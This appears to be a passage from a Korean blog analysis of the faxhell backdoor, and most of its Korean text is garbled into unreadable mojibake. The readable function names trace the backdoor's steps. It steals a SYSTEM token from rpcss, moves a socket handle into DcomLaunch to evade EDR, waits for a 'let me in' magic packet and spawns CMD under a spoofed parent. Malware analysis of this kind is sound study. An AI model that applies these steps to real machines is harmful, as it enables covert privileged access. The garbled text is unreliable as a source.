#### 2.2.1 WorkCallback ํ•จ์ˆ˜ ์ˆœ์„œ
1.
GetRpcssToken ํ•จ์ˆ˜๋กœ NamePipe ์ƒ์„ฑ ๋ฐ ํŒŒ์ดํ”„ impersonate
2.
GetServiceHandle ๋กœ์ปฌ ํ•จ์ˆ˜๋กœ "rpcss" ์ด๋ฆ„์˜ ์„œ๋น„์Šค ์ƒ์„ฑ ๋ฐ QueryServiceStatusExํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•˜์—ฌ SERVICE_STATUS_PROCESS ๊ตฌ์กฐ์ฒด ํš๋“ํ•˜์—ฌ ์„œ๋น„์Šค ํ”„๋กœ์„ธ์Šค ํ•ธ๋“ค(OpenProcess API) OUT ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ์ „๋‹ฌ
3.
GetSystemTokenFromProcess ํ•จ์ˆ˜ ํ˜ธ์ถœ
a.
GetTokenObjectIndex ํ•จ์ˆ˜ ํ˜ธ์ถœํ•˜์—ฌ OpenProcessToken์œผ๋กœ ํ˜„์žฌ ํ”„๋กœ์„ธ์Šค ํ† ํฐ ํš๋“ NtQueryInformation์„ ์ด์šฉํ•˜์—ฌ ํ† ๊ทผ์— ๋Œ€ํ•œ OBJECT_TYPE_INFORMATION ๊ตฌ์กฐ์ฒด๋ฅผ ๋ฐ›์•„์™€์„œ ํ•ด๋‹น ๊ตฌ์กฐ์ฒด์˜ TypeIndex๋ฅผ OUT ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ์ „๋‹ฌ. - TypeIndex์— ๋Œ€ํ•œ ํฌ์ŠคํŒ…
b.
GetSystemTokenFromProcess ํ•จ์ˆ˜ ํ˜ธ์ถœ
i.
rpcss ์„œ๋น„์Šค ํ”„๋กœ์„ธ์Šค ํ•ธ๋“ค ๊ฐ’์œผ๋กœ NtQueryInformationProcess์œผ๋กœ ํ•ธ๋“ค ๊ฐฏ์ˆ˜ ํ™•์ธ ๋ฐ ํž™ ํ• ๋‹น ํ›„ ์žฌํ˜ธ์ถœํ•˜์—ฌ ํ•ธ๋“ค ์ •๋ณด ํš๋“
ii.
ํ•ด๋‹น ํ•ธ๋“ค ๊ฐ’ ์ค‘ TokenTypeIndex๊ฐ€ ๋™์ผํ•˜๊ณ  GrantedAccess ๊ถŒํ•œ์ด TOKEN_ALL_ACCESS์ธ ํ•ธ๋“ค ํ™•์ธํ•˜์—ฌ DuplicateHandle ๋กœ ํ•ธ๋“ค ๋ณต์ œํ•˜์—ฌ ํ˜„์žฌ ํ”„๋กœ์„ธ์Šค์™€ dupHandle ๋ณ€์ˆ˜์— ์ €์žฅ. ํ•ด๋‹น DuplicateHandle ์ˆ˜ํ–‰์œผ๋กœ ์ธํ•ด ํ˜„์žฌ ํ”„๋กœ์„ธ์Šค๊ฐ€ ํ•ด๋‹น ๊ถŒํ•œ์„ ๊ฐ€์ง„ ํ•ธ๋“ค์„ ์†Œ์œ ํ•˜๊ฒŒ ๋จ.
iii.
dupHandle ๋ณ€์ˆ˜ ์ด์šฉํ•˜์—ฌ GetTokenInformation์œผ๋กœ ํ•ด๋‹น ํ† ํฐ์˜ TOKEN_STATISTIC ์ •๋ณด ํš๋“
iv.
ํ•ด๋‹น ํ† ํฐ์ด ๋‚˜ํƒ€๋‚ด๋Š” ์„ธ์…˜์ด ๋“ค๊ณ ์žˆ๋Š” LUID์ด SYSTEM_LUID(0x3e7) ์ด๋ฉฐ ๊ฐ€์ง€๊ณ  ์žˆ๋Š” ํŠน๊ถŒ์ด 22๊ฐœ ์ด์ƒ์ธ ๊ฒฝ์šฐ ํ˜„์žฌ ์Šค๋ ˆ๋“œ์— dupHandle ํ† ํฐ ์„ค์ •
4.
WSAStartup ํ•จ์ˆ˜ ์ด์šฉํ•˜์—ฌ Winsock ์ดˆ๊ธฐํ™”
5.
WSASocket ํ•จ์ˆ˜ ์ด์šฉํ•˜์—ฌ ListenSocket, LocalSocket ์ƒ์„ฑ
6.
WSAIoCTL ํ•จ์ˆ˜๋กœ WSAAcceptEx์™€ TransmitPackets ํฌ์ธํ„ฐ ํš๋“
7.
GetServiceHandle ํ•จ์ˆ˜ ์ด์šฉํ•˜์—ฌ "DcomLaunch" ์„œ๋น„์Šค์˜ ํ•ธ๋“ค์„ parentHandle๋กœ ๋ฐ›์Œ
8.
DuplicateHandle ํ•จ์ˆ˜ ์ด์šฉํ•˜์—ฌ LocalSocket ์˜ ํ•ธ๋“ค์„ DcomLaunch ์„œ๋น„์Šค ํ”„๋กœ์„ธ์Šค์™€ newSocket ํ•ธ๋“ค๊ฐ’์œผ๋กœ ๋ณต์ œ // ๋ณธ๋ฌธ์—์„œ๋Š” ํ•ด๋‹น ์ž‘์—…์— ๋Œ€ํ•œ ์ด์œ ๋ฅผ EDR๊ณผ ๊ฐ™์€ ์†”๋ฃจ์…˜ ํƒ์ง€๋ฅผ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•จ์ด๋ผ๊ณ  ์„ค๋ช…ํ•จ.
9.
RevertToSelf ํ•จ์ˆ˜ ํ˜ธ์ถœํ•˜์—ฌ impersonation ์ข…๋ฃŒ
10.
ACCEPT_CONTEXT ๊ตฌ์กฐ์ฒด ๋ฉ”๋ชจ๋ฆฌ ํ• ๋‹น // ์ถ”๊ฐ€์„ค๋ช…ํ•„์š”
11.
ACPPET_CONTEXT ๊ตฌ์กฐ์ฒด ๊ฐ’ ํ• ๋‹น ๋ฐ ThreadPool์— AcceptCallBack ํ•จ์ˆ˜ Input
12.
๋กœ์ปฌ ์—ฐ๊ฒฐ์šฉ AddrInfo ๊ตฌ์กฐ์ฒด ๋ฉ”๋ชจ๋ฆฌ ํ• ๋‹น ๋ฐ ๊ฐ’ ํ• ๋‹น ํ›„ GetAddrInfo ํ•จ์ˆ˜๋กœ pResult ๋ณ€์ˆ˜๋กœ ์žฌํ• ๋‹น
13.
bind ํ•จ์ˆ˜๋กœ listenSocket ๋ฐ”์ธ๋”ฉ
14.
listen ํ•จ์ˆ˜๋กœ listenSocket listening ์ƒํƒœ๋กœ ๋ณ€๊ฒฝ
15.
StartThreadPoolIo ํ˜ธ์ถœ ๋ฐ ์†Œ์ผ“ AcceptEx ํ•จ์ˆ˜ ํ˜ธ์ถœ
16.
AcceptEx ํ•จ์ˆ˜๊ฐ€ False๊ฐ€ ์•„๋‹ˆ๊ณ  ์ž…๋ ฅ๋ฐ›์€ ํŒจํ‚ท์ด 0์ด ์•„๋‹๊ฒฝ์šฐ AcceptCallback ํ•จ์ˆ˜ ํ˜ธ์ถœ
#### 2.2.2 AcceptCallBack ํ•จ์ˆ˜ ์ˆœ์„œ
1.
์ž…๋ ฅ๋ฐ›์€ Context ๊ตฌ์กฐ์ฒด์—์„œ ์ฒ˜์Œ ํŒจํ‚ท ์ •๋ณด๋ฅผ ๊ฐ€์ ธ์™€ ValidateMagicPacket ํ•จ์ˆ˜ ํ˜ธ์ถœ
a.
MagicPacket์ด ์ •์˜๋˜์–ด ์žˆ์œผ๋ฉฐ( "let me in" ) ํ•ด๋‹น ๊ฐ’๊ณผ ์‚ฌ์ด์ฆˆ, ํŒจํ‚ท์ด ๊ฐ™์„ ๊ฒฝ์šฐ์—๋งŒ ERROR_SUCCESS ๋ฆฌํ„ด
2.
InitializeProcTHreadAttributeList ํ•จ์ˆ˜๋กœ Attribute ListSize ํš๋“
3.
Attribute ListSize ๋งŒํผ ํž™ ๋ฉ”๋ชจ๋ฆฌ ํ• ๋‹น
4.
InitializeProcTHreadAttributeList ํ•จ์ˆ˜๋กœ ํ”„๋กœ์„ธ์Šค Attribute ํš๋“
5.
Parent Process (DcomLaunch)์˜ Attribute๋กœ ํ˜„์žฌ Attribute๊ฐ’ ์„ค์ •
6.
STARTUPINFOEX ๊ตฌ์กฐ์ฒด์— ์†Œ์ผ“ํ•ธ๋“ค, Attribute ํ• ๋‹น ํ›„ CreateProcess๋กœ CMD ์‹คํ–‰
์œ„์™€ ๊ฐ™์€ ์ˆœ์„œ๋Œ€๋กœ ํ•จ์ˆ˜๊ฐ€ ์ง„ํ–‰๋œ๋‹ค.
WorkCallBack ํ•จ์ˆ˜์—์„œ ๊ถŒํ•œ๊ณผ ๊ด€๋ จ๋œ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜๋ฉฐ, AcceptCallBack ํ•จ์ˆ˜์—์„œ Attribute ์„ค์ • ๋ฐ CMD๋ฅผ ์‹คํ–‰ํ•œ๋‹ค.
Attribute์˜ ๊ฒฝ์šฐ Setprivilege&AccessTokenPrivilege ํฌ์ŠคํŒ…์—์„œ ์กฐ๊ธˆ ๋‹ค๋ฃฌ ์  ์žˆ์œผ๋‹ˆ ์ฐธ๊ณ ํ•˜๊ธธ ๋ฐ”๋ž€๋‹ค.

3. Outro

์ž˜๋ชป๋œ ๋ถ€๋ถ„์— ๋Œ€ํ•œ ์ˆ˜์ • ์š”์ฒญ์€ ์–ธ์ œ๋“ ์ง€ ํ™˜์˜์ž…๋‹ˆ๋‹ค.
โ€ข
faxhell ๋งํฌ https://github.com/ionescu007/faxhell